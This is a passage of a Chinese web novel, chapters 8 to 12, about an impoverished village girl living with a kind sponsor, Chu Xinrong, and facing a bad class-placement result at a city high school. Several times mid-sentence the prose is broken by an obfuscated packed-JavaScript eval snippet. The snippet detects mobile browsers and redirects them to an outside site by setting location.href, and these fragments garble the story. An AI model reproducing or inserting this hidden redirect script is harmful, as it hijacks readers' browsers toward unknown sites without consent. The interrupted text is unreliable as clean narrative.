红烧肉出锅时,乔潇潇细心地注意到楚心柔饮食清淡的偏好,特意加了许多土豆。看着晶莹剔透的肉块和吸饱汤汁的土豆,她盛好米饭就要离开。 楚心柔的声音轻轻传来:“这么多,一起吃吧。” 乔潇潇到那些肉,常年没有油水的胃都快要痉挛了。记忆中,只有在伯父在家时,她才能上桌吃饭,她违心地说:“我不饿。” 楚心柔捧着碗,语气轻描淡写:“吃不完的话,明天也只能倒掉了。” 倒掉?乔潇潇的手指无意识地绞紧了衣角,之前,她听村长宋秋说过,城里人都很讲究,不吃隔夜的剩饭,说里面什么东西超标,对身体不好。 在乔潇潇愣神的片刻,楚心柔已经为她盛好饭,拉开了椅子。 红烧肉刚入口的瞬间,乔潇潇的味蕾仿佛被唤醒了。肥瘦相间的肉块在舌尖化开,浓郁的酱香裹挟着油脂的芬芳在口腔里炸开。她原本还小心翼翼地控制着进食的节奏,可第一口下肚后,长期被亏待的胃开始疯狂叫嚣。 她开始凶狠地干饭,米饭混合着肉汁被大口送入口中,一口接着一口,一碗见底的时候,楚心柔把自己拨出去的那碗又端了过去。 足足吃了两碗饭,胃被填的满满的,身体也暖了,乔潇潇感觉无比的幸福,她摸着肚子,是一天最放松的时候,人也开朗了不少,她信誓旦旦地跟楚心柔保证:“姐姐,以后家里的家务、做饭、整理院子,我都包了。” 说完这话,她屏住呼吸,偷偷观察着楚心柔的反应,手指不自觉地绞紧了衣角,生怕听到拒绝的话。 可楚心柔没有,她的唇角慢慢扬起一个温柔的弧度,眼尾漾开浅浅的笑纹。她伸手轻轻拂去乔潇潇发梢上沾着的一粒米饭,声音轻得像三月的春风:“好,那要辛苦你了。” 8. 第 8 章 乔潇潇小口咀嚼着红烧肉,浓郁的酱香在舌尖化开,肥而不腻的肉质让她幸福得几乎要飘起来。她努力抿着嘴唇想压住上扬的嘴角,可那双亮晶晶的眼睛早已泄露了满心的欢喜。 楚心柔将她的神情尽收眼底。洗碗时,她倚在厨房门边,温声问道:“学校应该开学了吧?” “还没开学呢。”乔潇潇摇摇头,指尖无意识地摩挲着英语书的页角,声音不自觉地轻快了些,“不过听说开学前要先考一次分班试。” 说到这儿,她眼底闪过一丝不易察觉的忧虑。在村里,成绩一直是她最拿得出手的骄傲。即便那些视她如瘟神的村民,提起她时也不得不酸溜溜地夸一句“那丫头脑子瓜子倒是灵光”。 可如今站在硕大的城市里,她第一次对自己的优势产生了动摇,听说这里的同学不仅成绩优异,还个个身怀特长。钢琴十级、英语演讲冠军、奥数金牌……这些光鲜的头衔对她来说想都不敢想。 楚心柔敏锐地捕捉到她转瞬即逝的忐忑,温声说:“分班考试而已,不用太紧张。” 乔潇潇抿着唇点了点头,手心有些发凉。 对于现在的她来说,学习就是她的全部,是她改变未来唯一的希望。 楚心柔看着她,随口问:“对了,这几天有空吗?我画室缺个帮忙整理工具的兼职,本来找了相熟的同学,可她临时去旅游了。” 乔潇潇擦碗的手突然顿住。她抬起眼,漆黑的眸子望向楚心柔。 她不是单纯不谙世事的小孩,相反的,她经历了太多的沧桑冷暖。 这样“不经意”的善意,对她来说太过不真实,她已经住在楚心柔的家里,还吃了这么美味的饭菜,再不能承受更多了。 “谢谢姐姐。”乔潇潇垂下眼帘,声音轻得几乎听不见,“我这几天……还有些别的事情要忙。” 其实不过是去拥挤的街头翻找废品罢了。但这个难以启齿的秘密,她无论如何也说不出口。 所幸楚心柔没有追问。她只是轻轻点头,顺手将洗好的碗放进橱柜,“明天我要出门,冰箱里食材都备好了,你回来记得自己做饭吃。” 乔潇潇攥紧了手中的抹布,心头涌起一阵不安。拒绝楚心柔的好意,她会不会生气?自己真的不是不知好歹,只是…… “别多想。”楚心柔的眼神温柔得像是能看透她的所有顾虑,“以后有机会再来帮我好不好?到时候还可以当我的小模特呢。” 乔潇潇鼻尖一酸,重重地点了点头。窗外的月光洒进来,在她睫毛上凝成细碎的银辉,“嗯,一定来。” 那天夜里,乔潇潇蜷缩在床上辗转难眠。太久没有摄入油水的肠胃对突如其来的丰盛晚餐发起了抗议,一阵阵绞痛让她不得不一次次冲向卫生间。 凌晨三点,她索性抱着英语课本窝在客厅飘窗上。城市的夜色真好,灯火通明,霓虹的光晕透过玻璃,在书页上投下斑驳的彩影,不像是村里,漆黑一片,哪怕是有月光,看久了,她的眼睛也会疼。 这几天乔潇潇已经啃完了二十多页高一英语,每个单词她都背的滚瓜烂熟,可王宁姐说过的话始终萦绕在心头——城里的考试不仅要笔试,还要考口语。想到自己带着浓重乡音的英语发音,乔潇潇不自觉地咬紧了嘴唇。 “怎么不开灯?” 突如其来的声音吓得乔潇潇差点跳起来。楚心柔披着米色针织披肩站在走廊口,睡眼惺忪的模样在月光下显得格外柔软。 “对不起姐姐!”乔潇潇慌忙合上书本,“我、我只是想看看书……” “啪”的一声,客厅瞬间亮如白昼。 楚心柔走近时,发梢还带着枕畔的馨香,她轻声问:“在看什么书?”声音里还带着丝慵懒。 暖黄的灯光下,乔潇潇仰头望着楚心柔,一时忘了回答。 她俯身看向乔潇潇的英语书,细长的眉毛微微蹙起:“这么早就开始预习了?” 乔潇潇这才注意到自己用拼音标注的单词密密麻麻爬满书页,顿时羞得耳根发烫。她慌忙合上书本,声音细若蚊呐:“对不起,是不是吵醒你了?我就是、就是肚子不太舒服……” “我本来就要起夜的。”楚心柔蹲在茶几前翻找药箱,米色披肩垂落在地毯上,像一片柔软的云。她递来一盒胃药,指尖在灯光下泛着珍珠般的光泽:“先吃药,学习的事不急。” 楚心柔察觉到因为自己的出现,乔潇潇的局促不安,看她喝了药,轻声说:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546801|171171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学吧,我先去睡,开着灯就行,不吵我的。” 等她走了,乔潇潇舒了一口气,也不知道为什么,明明楚心柔温柔又体贴,和颜悦色,可在她面前,自己就是紧张,连呼吸都不自觉放轻。那种刻在骨子里的自卑感,让她连直视对方的勇气都没有。 乔潇潇蹑手蹑脚的起身,她把大灯关了,只开了一盏沙发上的小桔灯。 乔潇潇摩挲着药盒光滑的表面,胃里的不适似乎已经消了大半。 这点微光对她来说刚刚好,就像楚心柔给的温暖,不多不少,恰好能照亮她心底最暗的角落。 开学前的最后几天,乔潇潇几乎跑遍了学校周边的商铺。有家小饭馆的老板看她可怜,勉强答应让她在后厨刷盘子,可开出的工钱却低得令人心寒,每天干满八小时,还抵不上她捡半天废品的收入。 于是她依旧拖着那个大大的蛇皮袋,穿梭在城市的大街小巷。两天时间里,她把学校周边摸了个透,哪里人流量大,哪个垃圾桶常有惊喜,她都默默记在心里。有时捡到天黑,她就站在繁华的十字路口,望着四周灯火通明的高楼发呆。城市的灯光太亮了,亮得让她想起老家漆黑的夜,这时候大伯该抽完旱烟了吧?妹妹是不是已经蜷在土炕上睡着了? 楚心柔这些天总是早出晚归。有次乔潇潇回来得晚,发现冰箱里的饭菜原封未动,第二天就听见楚心柔带着笑意问:“是不是我做的菜不合胃口?” 那温柔的语气让她再也说不出拒绝的话。 最让乔潇潇意外的是某个深夜,她轻手轻脚进门时,楚心柔竟还等在客厅。 “累了吧?”就这一句简单的问候,却让乔潇潇站在原地发了很久的呆。累?比起在毒日头下插秧,在建筑工地搬砖,现在的生活简直像在做梦。能有个遮风挡雨的地方,能吃上热乎乎的饭菜,这样的日子她连想都不敢想,简直是掉进了蜜罐里。 可好日子才没过两天。 分班考试放榜那天,乔潇潇站在红榜前数了整整三遍。 全年级442名学生,她考了第402名,被分到了最末等的10班。 这对于一向身无长物唯有成绩可以自豪的乔潇潇来说,她的世界在这一刻碎得连渣都不剩。 9. 第 9 章 骄阳炙烤着校园,沥青路面蒸腾起扭曲的热浪。乔潇潇像踩在棉花上,双腿发软得几乎支撑不住身体的重量。 放榜处人声鼎沸,到处都是喜气洋洋的家庭。有父亲骄傲地拍着儿子肩膀的,有母亲激动地搂着女儿拍照的,还有全家老小围着红榜指指点点的。 乔潇潇独自站在人群边缘,看着自己的影子在烈日下缩成小小的一团。 她机械地跟着人流往教学楼挪动,耳边不断传来兴奋的对话。 “我进1班了!暑假的一对一补课没白上!” “太好了,我们又能同班了!” “爸妈答应给我买新手机了!” 每一个欢快的声音都像刀子,将她本就破碎的自尊心剐得血肉模糊。曾经,在村里的土坯教室里,乔潇潇是老师口中“最有希望考出去”的尖子生。如今,在这所梦寐以求的重点高中,她却成了吊车尾的差等生。 校园里的香樟树在阳光下绿得发亮,崭新的塑胶跑道散发着橡胶的味道。 可这一切美好,都与她无关了。 进了10班,或许是因为少年人特有的朝气,又或许是知道每学期都会重新分班的缘故,大家并没有被“吊车尾班级”的标签影响太多。教室里洋溢着青春的气息,同学们三三两两聚在一起,兴奋地聊着天。 “你看《那些年,我们一起追的女孩》了吗?”一个扎着马尾的女生激动地说,“胡夏唱的主题曲《那些年》简直绝了,看完电影我单曲循环了好几天!” “必须看了啊!”旁边的男生立即接话,“不过最近复仇者联盟才叫火爆,钢铁侠和美国队长同框的场面太燃了,我准备周末二刷!” 后排几个男生正热火朝天地讨论着游戏:“我英雄联盟都快打到黄金段位了,你们一般玩什么位置?我主玩ADC。” “我专精中单法师,一套连招秒人的感觉不要太爽!”另一个男生推了推眼镜,“听说穿越火线新出的沙漠灰地图特别带感,要不要组队?” 教室另一角,几个女生正在哼唱:“因为爱情,怎么会有沧桑……”一个圆脸女生陶醉地说:“王菲和陈奕迅这首《因为爱情》真是百听不厌,我手机铃声就是它。” “是啊是啊。”她的同桌附和道,“不过筷子兄弟的《父亲》更催泪,每次听到''总是向你索取却不曾说谢谢你''这句,我就忍不住想给爸爸打个电话。” 在这片热闹的氛围中,乔潇潇安静地坐在座位上,纤长的手指无意识地绞着衣角。 同学们谈论的电影、游戏和歌曲,对她来说都如此陌生。她偷偷打量着周围同学身上时髦的装扮,虽然认不出品牌,但那些衣服的剪裁和质地都透着精致,乔潇潇悄悄把T恤下摆的线头塞进裤腰,又往座位里缩了缩身子。 这时班主任宋洋迈着轻快的步伐走进教室。她简单介绍了学校的作息安排,把课表发给大家后,突然话锋一转,笑容可掬地问道:“同学们,有没有人想自告奋勇当班干部?” 说着,她温和的目光缓缓扫过全班。 乔潇潇不自觉地低下头,肩膀微微瑟缩。与她形成鲜明对比的是,教室里瞬间举起了一片手臂,此起彼伏的毛遂自荐声不绝于耳。 “老师选我!” “我在初中当了三年班长!” “我最擅长组织活动了!” …… 这半天对乔潇潇来说如坐针毡。教室里嘈杂的谈笑声仿佛隔着一层毛玻璃,模糊而遥远。她的大脑一片空白,眼前的一切都像是另一个世界的故事。 她悄悄缩着身子,后背紧贴着冰凉的椅背,仿佛这样就能让自己隐匿在无人注意的角落里。 2012年的9月1日,乔潇潇永远忘不了。 当她从小村庄踏入重点高中,还以为自己终于可以展翅翱翔的时候,现实却给了她当头一棒。 她曾天真地以为,自己和城市孩子的差距仅仅在于学习成绩。可此刻她才真正明白,横亘在她们之间的,是截然不同的人生,那些她从未看过的电影,从未听过的歌曲,从未玩过的游戏,甚至是从未拥有过的社交账号。 快结束时,一个高个子的男生走到她桌前。乔潇潇虽然瘦小,皮肤因常年劳作而晒得黑红,但五官却生得精致,眉目间隐约透着清秀的轮廓。 男生笑着问:“同学,你有校内吗?我们加一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546802|171171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下好友?” 乔潇潇茫然地摇了摇头,手指无意识地攥紧了衣角。 对方以为她是不愿意给,又换了个方式问:“那Q/Q呢?这个总有了吧?” 她的耳根微微发烫,垂下眼睛,声音轻得几乎听不见:“……没有。” 男生的笑容僵了一下,有些尴尬地挠了挠头,最终说了句“好吧”,转身离开了。 乔潇潇望着男生远去的背影,胸腔里那颗心脏跳得又沉又重,像是要把肋骨都震碎。那些被刻意忽略的差距,此刻化作无数细小的针,密密麻麻地扎在心上,疼得她几乎要弯下腰去。 下课铃声响起时,乔潇潇机械地收拾着书包。周围的欢声笑语像潮水般涌来,又像潮水般退去。她低着头,盯着自己磨破的鞋尖,乌龟一样,缓缓地往外走。九月的阳光明明那么灿烂,落在身上却是冷的。 就在这时,一声温柔的呼唤穿透了嘈杂的人声:“潇潇!” 乔潇潇猛地抬头,在熙攘的人群中一眼就看见了楚心柔。 阳光透过走廊的玻璃窗洒在她身上,白色的纱裙随风轻扬,耳垂上的珍珠耳环泛着温润的光泽。她站在那里,就像一幅会发光的画,引得路过的学生和家长都不由自主地回头张望。 楚心柔不放心乔潇潇第一天开学,特意提前半小时就在校门口等候。周围陆陆续续有班级放学出来,看着学生们青春活泼的面容,她的心也被感染得雀跃起来。她已经在脑海里勾勒好了画面:潇潇一定会像其他孩子一样蹦蹦跳跳地跑出来,一会儿带她去买一个草莓味的冰淇淋,看她对爆米花的热忠诚度,那孩子应该会喜欢甜食的,一定会很开心的。 当充满期待的楚心柔终于看到那个熟悉的小身影时,立即扬起温柔的笑容挥手示意。可让她意外的是预想中欣喜雀跃的场景并没有出现,乔潇潇在看到她的一瞬间就红了眼眶,飞快地低下头,单薄的肩膀微微颤抖着。 她本来能忍住的。 习惯了缩在无人问津的角落里,默默忍受一切的她本来是能忍住的。 可是……可是…… 她从没有想到会有人来接她。 从没有想过…… 10. 第 10 章 看着那个瘦小的身影红着眼眶低下头时,楚心柔的心尖蓦地一颤,像是被细密的银针轻轻扎了一下。 这感觉来得莫名。 酸涩中裹着细碎的疼,在心口微微发胀。 乔潇潇丧失了走向楚心柔的勇气。 虽然她们相识不过数日……可楚心柔对她实在太好。自从妈妈带着妹妹离开后,除了大伯,再没有人给过她这样的温暖。她忘不了这份好的来源,宋秋说过,楚心柔资助的每个学生,都是家境贫寒却品学兼优的。 品学兼优……被分到10班的她,还配得上这个词吗? 楚心柔却目光坚定,踩着稀碎的阳光,没有一丝迟疑地走向那个瑟缩的身影,她乌黑的长发被微风拂起几缕,衬得肌肤如雪,米色风衣的下摆随着步伐轻轻摆动,划出一道优雅的弧线,周围嘈杂的议论声仿佛自动为她让出一条路。 楚心柔的声音像初春的溪水,带着令人心安的温柔:“累了吧?” 她没有问分班结果。 甚至没有去追问乔潇潇为什么难过。 身上淡淡的檀香若有似无地萦绕在两人之间,让人安心。 “走,我带你去吃冰淇淋。” 乔潇潇怔住了,她缓缓抬头,通红的鼻尖和盈满泪水的眼眸在阳光下显得格外脆弱。 楚心柔的唇角漾开温柔的笑意,午后的阳光穿过梧桐叶的间隙,在她周身镀上一层毛茸茸的金边,细碎的光斑在她发间跳跃,每一根发丝都泛着温暖的光晕。 乔潇潇眨了眨湿润的眼睛看着,这画面像是被慢放的电影镜头,一帧一帧刻进记忆最深处。最终,她轻轻点头时,一滴泪珠不受控制地滚落,“好。” 这是她人生第一次踏进甜品店。 玻璃橱窗里陈列着各色精致的甜品,空气里飘荡着奶油与水果的香甜。乔潇潇局促地攥着衣角,直到那杯粉色的草莓冰淇淋被推到面前。晶莹的冰沙上点缀着鲜红的草莓粒,像雪地里散落的红宝石。 楚心柔给自己点了杯咖啡,那种泛着苦味的黑色液体,乔潇潇看的好奇,楚心柔笑着问:“尝尝吗?” 乔潇潇立即摇头。 楚心柔笑了,看她没那么难过了,目光比窗外的阳光还要柔软。 第一口冰凉触到舌尖时,乔潇潇忍不住瑟缩了一下。甜中带酸的味道在口腔里化开,软绵的冰沙温柔地抚平了心底的皱褶,刚开始,她还小口小口地舔着,可慢慢的,她那股凶狠干饭的劲儿又上来了,就连嘴角沾了奶油也不知道。 楚心柔看着她,眼里揉着自己都不曾察觉的宠溺。 甜意融化在舌尖,连带着心底的苦涩也渐渐消解。 乔潇潇放松了下来,攥紧的衣角也舒展开来。 当楚心柔起身结账时,乔潇潇忍不住伸长脖子往吧台张望。玻璃柜台里那些精致的甜品名称对她而言太过陌生,但刚才进门时匆匆瞥见的价格牌却让她心头一跳,那数字抵得上她一周的饭钱。 楚心柔本可以优雅地抬手示意服务员过来,却特意起身走向吧台。 走出甜品店时,乔潇潇发现阳光都好像变得不一样了,不再是刺眼的灼热,暖融融地包裹着她,连带着那些压在胸口的重量也轻了几分。 楚心柔没有急着带她回家,而是领着她往附近的公园走去。阳光暖洋洋的,湖面泛着细碎的波光,像撒了一把碎银,偶尔有微风拂过,带来淡淡的花香。 在中央广场,楚心柔从包里取出一小袋玉米粒,她轻声说:“伸手。” 虽然疑惑,乔潇潇还是摊开手掌,常年劳作的手上满是老茧,楚心柔看见了,抿了唇,将玉米粒倒在了上面。 最先察觉的是只灰羽的鸽子,它歪着脑袋打量了片刻,突然扑棱着翅膀落在乔潇潇脚边。紧接着,越来越多的白鸽从广场各处聚拢而来,洁白的羽翼在阳光下几乎透明。有只胆大的鸽子突然振翅而起,轻轻落在乔潇潇微微发抖的肩头。 乔潇潇瞬间屏住了呼吸,僵硬身子小木乃伊一样,一动不敢动,逗笑了旁边的楚心柔。 鸽子细小的爪子传来真实的触感,羽毛间散发着阳光烘烤过的温暖气息,乔萧萧看着微笑的楚心柔,跟着也笑了出来。 回家的路上,楚心柔放慢脚步,声音轻得像是在自言自语:“刚来这座城市的时候,我吃不下也睡不着的时候就总是一个人来这里喂鸽子。” 那时候的天,都好像是灰的。 乔潇潇怔住了。她望着楚心柔精致的侧脸,怎么也想象不出这个永远从容优雅的女人,也会有这样脆弱的时刻。 楚心柔没有回头,任凭风掀起她风衣的下摆。她低头看着自己的影子,声音轻得像一片落叶: “那时,我以为过不去的。” 她本不必对一个孩子剖开这些旧伤痕的。 “所以——”楚心柔转身,指尖轻轻拂去乔潇潇发间的梧桐叶,眼底盛着温柔的光,“给自己一点时间。” 不是居高临下的安慰,而是将心比心的懂得。 这话的份量沉甸甸地落在了乔潇潇的心里,给了她无尽的安慰,她莫名的相信楚心柔的话,相信她说的每一个字。 这份相信,让她心安,以至于到了家里,把卫生打扫完毕的她裹着被子沉沉的睡去了。 而这一次,梦里不再是漆黑的巷子和刺耳的叫骂,而是化不开的草莓甜香,还有落在肩头的那片洁白羽毛。 这一觉睡得格外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚心柔连她敏感合上的英语书都记在了心里,乔潇潇的肩膀开始不受控制地颤抖,她用力攥紧拳头,指甲深深陷入掌心。 她刚刚以为楚心柔嫌弃她不懂事了…… 现在想想,真想给自己一个嘴巴。 她这样的人怎么配姐姐对她这么好…… 乔潇潇哽咽地摇头:“不用了,姐姐,我已经很麻烦你了……我——” 楚心柔轻轻叹了口气,打断她的话,柔声说:“你要乖。” 这个简单的三个字像一把钥匙,瞬间打开了乔潇潇强撑的坚强,忍了一天的泪水终于挣脱束缚,一滴滴地砸在手机盒上。 11. 第 11 章 那声轻柔的“你要乖”仿佛带着某种魔力,让乔潇潇收回了想要推拒的手,她慌乱的抬起手背,擦掉脸上的泪。 楚心柔体贴的假装没看见,柔声问:“不是要做饭吗?突然想吃皮蛋瘦肉粥了,正好搜搜怎么做。” 那天潇潇吃肉后拉肚子,楚心柔特意问了问朋友,应该是肠胃清汤寡水太久了,骤一吃油腻的受不了,需要慢慢来。 乔潇潇点了点头,她拿起手机,缓慢地翻找着食谱。纤细的指尖在屏幕上小心翼翼地游移,因为不熟悉,几次操作不好的时候,她都会紧张地偷瞄楚心柔的脸色。 楚心柔一直很耐心,“不用那么大力气,搜索框在这边。” 当搜索结果终于跃入眼帘,乔潇潇湿润的眼睫还挂着泪珠,眼底却已漾起雀跃的光彩。 楚心柔柔声夸赞:“真厉害。” 乔潇潇藏不住嘴角扬起的弧度。 这是乔潇潇第一次使用手机查东西,楚心柔轻声念着步骤,乔潇潇精准地执行,两人配合得天衣无缝。熬粥的间隙,楚心柔惊讶地发现,无论多复杂的步骤,乔潇潇只听一遍就能分毫不差地复述。 楚心柔忍不住轻声问道:“你这是过目不忘吗?” 乔潇潇盖锅盖的手突然停住,茫然地转过头。过目不忘?她从未想过这算什么特别的能力。记忆里,父亲和伯母教她做事从来只说一遍,记不住就是一顿责骂。渐渐地,记住每一个指令成了她生存的本能,就像记住哪条巷子的路灯最暗,哪家餐馆的后门会有剩菜,哪片工地的监工最凶。 那碗皮蛋瘦肉粥,楚心柔吃得胃里暖融融的。乔潇潇更是连碗底都舔得干干净净,米粒的甜香在舌尖久久不散。 夜深了,台灯在客厅投下一圈昏黄的光晕。 楚心柔捧着平板看绘画教程,乔潇潇则埋首在题海中。这次分班考试的成绩像一记闷棍,彻底打乱了她原先“打工为主,学习为辅”的计划。 楚心柔看了看指向十一点的表问:“累不累?” 乔潇潇立即摇头,对她而言,能心无旁骛学习的时光实在太珍贵。累?比起夏日扛水泥时晒脱皮的肩膀,寒冬洗盘子时冻裂的双手,现在握着笔的手指简直像泡在温水里。只是她心底总悬着根刺,打工时间少了,奶粉罐里的那些钱,又能够支撑多久? 楚心柔知道她要强,柔声说:“那我先睡了,你别熬太晚。” 乔潇潇用力点头,生怕楚心柔不让她继续学习。 一直到天蒙蒙亮时,楚心柔被晨光惊醒。推开客厅门,只见乔潇潇歪在书桌上睡着了,脸颊压着写满公式的草稿纸。这些年资助过不少贫困生,楚心柔还是第一次见到这样拼命的。 “潇潇——”她轻轻推了推女孩瘦削的肩膀,“去床上睡。” 乔潇潇猛地从桌上弹起来,混沌的脑子里炸开了:“几点了?我该做早饭了!!!” 这个反应像是刻在骨子里的条件反射。从前每次熬夜看书,伯母都会踹开房门,扯着嗓子骂她浪费电,咒骂她读书能填饱肚子吗?久而久之,天一亮就会惊醒成了她的生理闹钟。 楚心柔看着她熬得发黄的小脸,有些心酸:“今天吃方便面,我煮吧,加火腿肠的。” 乔潇潇怎么可能心安理得的去睡觉,她匆匆用凉水拍了拍脸,转身就钻进了厨房。 晨光里,她照着昨晚搜索的教程,认真地给楚心柔做了个三明治。面包烤得金黄酥脆,煎蛋的边缘微微焦黄,生菜叶上还挂着晶莹的水珠。 楚心柔小口啜着咖啡,目光却一直追随着厨房里忙碌的身影。她惊讶地发现,明明刚才还蔫头耷脑的乔潇潇,一做起饭来就像换了个人,精神抖索。 “我今天要出去一趟。”收拾碗筷时,楚心柔一边系外套扣子一边嘱咐,“晚饭你自己解决。”走到门口又突然转身,嘱咐:“不许不吃。” 乔潇潇乖巧地点头。 或许是因为昨天已经跌入谷底,又或许是楚心柔那句“给自己点时间”真的起了作用,乔潇潇今天坐在教室里时,整个人都舒展了许多。 她用新注册的Q.Q号加入了班级群,仔细翻看着群公告里挂着的学习资料,还主动申请了校园内网账号,虽然很缓慢,但进展的也算顺利。昨天问她要联系方式的男生王福禄挠着头,一脸困惑:“昨天你不是说没有Q.Q吗?” 乔潇潇晃了晃手里的手机,并没有隐瞒,“我姐姐淘汰的手机给我了。” 王福禄盯着那部明显是今年新款的三星手机,嘴角抽了抽,硬是把“这算哪门子淘汰机”的吐槽咽了回去,他又问:“那现在能加了吗?” 乔潇潇点了点头,拿起手机,眯着眼点开了Q,“你等一下,我看看啊,好友分组,不,申请好友这里,对就是点这个+号,哎哎,等一下,怎么点进去广告了?” 王福禄:…… 乔潇潇这老人用手机碎碎念的方式,到让他相信了几分才用手机没多久。 于潇潇来说,作为10班的学生有个意外的好处,老师讲课的节奏明显放慢了许多,每个知识点都要反复讲解几遍,听说隔壁的几个重点班,第一节课速度就起飞了。可惜班上同学大多兴致缺缺,才上完两节课,教室里已经趴倒了一半人。唯独乔潇潇挺直腰板坐着,一双眼睛瞪得溜圆,生怕错过黑板上的任何一个字。 中午的食堂熙熙攘攘,学生们三三两两结伴而行,才开学一天,许多人已经熟络起来。乔潇潇独自走在人群中,低着头,手指无意识地攥着衣角。她不是不想交朋友,只是不知道该怎么开口,别人主动搭话时,她总是显得局促又冷淡。 食堂窗口飘来饭菜的香气,乔潇潇踮起脚尖看了看菜单,一份青椒炒肉盖饭标价8元,她心里“咯噔”一下。最后,她只要了两个馒头,又盛了一碗免费的紫菜蛋花汤,找了个最角落的位置坐下。 馒头干巴巴的,她小口小口地啃着,时不时蘸一点汤水。周围隐约投来几道目光,夹杂着窸窸窣窣的议论声。 “就是她,资助生名单上那个……” “你看她的鞋子,都磨边了。” “她上课记笔记可认真了,跟拼命似的。” 乔潇潇垂着眼睫,假装没听见。这些年,她早就习惯了被人指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“什么?!”杨绯棠涂着蔻丹的指甲猛地掐灭了烟,精致的五官因愤怒而扭曲,“说谁搞诈骗呢?!” 风卷起落叶,楚心柔从梧桐树后缓步走出,目光追随着乔潇潇远去的背影。 “楚、心、柔!”杨绯棠踩着七厘米的高跟鞋“噔噔噔”地冲到她面前,每个字都像是从牙缝里挤出来的,“这就是你说的那个''单纯乖巧''的乖孩子?”她指着空荡荡的操场尽头,“那眼神,那语气,活脱脱就是个见惯世面的老江湖!” 哪里单纯?哪里乖了! 楚心柔的唇角微微上扬,眼底漾起一泓温柔的笑意。 “诈.骗?!”杨绯棠气得直跺脚,细高跟在地上敲出清脆的声响,“要不是看在你一大早上来请我出山的面子上,我用得着亲自来这儿屈尊搞boss直聘?”她看楚心柔那眼中含笑的模样更气,“你笑什么?!你倒是说句话啊!” 终于,楚心柔如她所愿的开口说话了,语气里还是毫不掩饰的骄傲与宠溺。 “她真的很聪明,你不觉得吗?” 杨绯棠:……???!!! 12. 第 12 章 “她真的很聪明,你不觉得么?” 楚心柔说这话时,眼角眉梢都染着掩不住的骄傲,连声音都比平时轻快了几分。杨绯棠侧目看她,目光在她脸上逡巡片刻,“啧”了一声:“她聪不聪明我不知道,倒是你——”她故意拖长了音调,“楚大小姐,你这副模样可太不对劲了。” 楚心柔微微偏头:“我哪里不对劲了?” 杨绯棠抱起双臂,目光如炬:“别看你平时对谁都温温柔柔的,可那笑容底下藏着的全是距离感。”她顿了顿,意味深长地补了句,“活像尊供在神龛里的谪仙。” 楚心柔眨了眨眼,长睫在阳光下投下细碎的阴影。她没有反驳,只是任由春风撩起她的长发。 “你对她也太上心了,还有,别怪我没提醒你,这孩子我虽然只见了一面。”杨绯棠凑近半步,压低声音,“但绝对看不错,就那眼神,别看她表面上装得乖巧,骨子里却是个倔脾气。人家现在还小呢,你等她长大的,绝对是个不能惹的主!” 楚心柔闻言轻轻点头,唇角漾起一抹浅笑:“这样很好,一定能考上好学校,实现她的理想。” 她也能逃离那个魔窟一样的家。 杨绯棠一噎,翻了个白眼:“得,我这是对牛弹琴了。” 谁也没有想到,楚心柔嘴里的“乖孩子”,第一天上学的下午就出了事儿。 事情的起因简单得可笑,乔潇潇藏在女厕所储物间的“宝贝”被保洁员王颖发现了。 对王颖来说,这无异于虎口夺食。这个皮肤黝黑、身材瘦小的女人,平日里在学校保洁员争夺“地盘”的战争中就处于劣势。每次弯腰捡起的塑料瓶总是最少的那份,憋着的火气早就在胸腔里打转。这天打扫卫生间时,那个鼓鼓囊囊的蛇皮袋格外扎眼。 她起初以为是哪个同行藏的战利品,没敢轻举妄动。蹲守了整整一节课的时间,终于等来了蛇皮袋的主人,一个扎着马尾辫青涩的女生。 那模样,一看就是高一的新生,这下子,就更好办了。 “同学,你干什么呢?” 王颖一个箭步冲上前,枯瘦的手指死死攥住蛇皮袋的一角。乔潇潇刚把袋子拎起来,就被这突如其来的力道扯得一个趔趄。袋口松开的瞬间,十几个空饮料瓶哗啦啦滚了一地,在瓷砖地上敲出清脆的声响。 乔潇潇虽然小,但是如果真的比伸手,常年劳作的“身手”未必比王颖差,可俩人才刚一撕扯,她就听见了王颖尖锐的骂声:“松手,你干什么?你是几班的学生,我要去找你们班主任!” 乔潇潇的手指僵在半空,缓缓松开。她看着王颖那张因愤怒而涨红的脸,喉头动了动,却一个字也没说出口。 王颖蹲下身,一边数着散落的塑料瓶,一边用尖锐的嗓音念叨:“现在的学生真是能耐了,书不好好读,倒跟我们这些苦命人抢饭吃。”她粗糙的手指拨弄着瓶身,发出刺耳的摩擦声,“一个、两个……啧啧,捡得还挺全乎。” 